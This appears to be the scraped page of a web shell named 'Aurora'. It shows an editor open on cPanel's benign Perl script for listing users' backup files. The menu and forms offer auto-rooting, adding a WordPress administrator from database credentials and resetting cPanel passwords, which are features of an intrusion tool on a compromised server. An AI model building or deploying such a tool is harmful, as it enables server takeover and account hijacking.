Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: backups_list_user_files
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/backups_list_user_files Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited ################################################################################ package scripts::backups_list_user_files; use strict; use warnings; use Cpanel::Backup::Metadata (); use Cpanel::DBI::SQLite (); use Getopt::Long (); ################################################################################ Cpanel::Backup::Metadata::metadata_disabled_check(1); ################################################################################ sub _help { my ($msg) = @_; $msg //= ''; print qq{$msg Usage: $0 --user=user [--regexp=regexp] user - is the name of the user files to list regexp - is an optional regex to refine your file list }; exit 0; } sub _invalid_parms { _help(); die "Invalid Command Line Parameters\n"; } our $user; our $regexp; sub generate_output { my ( $user, $regexp ) = @_; $regexp //= ''; my $meta_path = Cpanel::Backup::Metadata::get_metadata_filename($user); my $dbh = Cpanel::DBI::SQLite->connect( { 'database' => $meta_path } ); # Get all the backup IDs and their paths my $sth = $dbh->prepare(qq{SELECT backup_id,backup_path FROM backup_paths}); my $results = $sth->execute(); my @backups; while ( my $row = $sth->fetchrow_arrayref() ) { push @backups, { 'id' => $row->[0], 'path' => $row->[1] }; } # type == 0 uncompressed # type == 1 compressed # type == 2 incremental # type == 3 other foreach my $backup (@backups) { # Get basedir with date by stripping /accounts/ $backup->{'path'} =~ s/\/accounts$//; my $ref = Cpanel::Backup::Metadata::load_master_meta( $backup->{'path'} ); if ( defined( $ref->{'backup_type'} ) and $ref->{'backup_type'} eq 'ERROR' ) { # print "Could not load .master.meta from " . $backup->{'path'} . "/accounts/\n"; # This would be a good case for adding a debugging/verbose flag to this script next; } my $backup_type_text = Cpanel::Backup::Metadata::get_backup_type_text( $ref->{'users'}{$user}{'backup_type'} ); my $full_path_to_backup; if ( $ref->{'users'}{$user}{'backup_type'} == 0 ) { $full_path_to_backup = $backup->{'path'} . '/accounts/' . $user . '.tar'; } elsif ( $ref->{'users'}{$user}{'backup_type'} == 1 ) { $full_path_to_backup = $backup->{'path'} . '/accounts/' . $user . '.tar.gz'; } elsif ( $ref->{'users'}{$user}{'backup_type'} == 2 ) { $full_path_to_backup = $backup->{'path'} . '/accounts/' . $user; } else { $full_path_to_backup = ''; } my $resolution_query = <<END; SELECT b.backup_path, f.size, s.path, f.mtime, f.operation, f.type FROM file_changes AS f JOIN seen_files AS s ON f.seen_files_id = s.file_id JOIN backup_paths AS b ON f.backup_id = b.backup_id WHERE f.backup_id <= ? GROUP BY path HAVING operation != ? ORDER BY s.path ASC END my $sth = $dbh->prepare($resolution_query); $sth->execute( $backup->{'id'}, $Cpanel::Backup::Metadata::REMOVE_OPERATION ); while ( my $row = $sth->fetchrow_arrayref() ) { my ( $bu_path, $size, $path, $mtime, $operation, $file_type ) = @{$row}; my $full_path_to_backup_file; if ($regexp) { next if $path !~ m/$regexp/; } if ( $ref->{'users'}{$user}{'backup_type'} == 2 ) { $full_path_to_backup_file = $full_path_to_backup . '/homedir' . $path; } else { $full_path_to_backup_file = $full_path_to_backup; } my $file_type_text = Cpanel::Backup::Metadata::get_file_type_text($file_type); print '"' . gmtime($mtime) . '",' . $size . ',' . $backup_type_text . ',' . '"' . $path . '"' . ',"' . $full_path_to_backup_file . '",' . $file_type_text . "\n"; } } return; } sub script { my (@args) = @_; my $opts = Getopt::Long::GetOptionsFromArray( \@args, 'user=s' => \$user, 'regexp=s' => \$regexp, ) or _invalid_parms(); _help("no user provided") if !$user; generate_output( $user, $regexp ); return 1; } exit( script(@ARGV) ? 0 : 1 ) unless caller();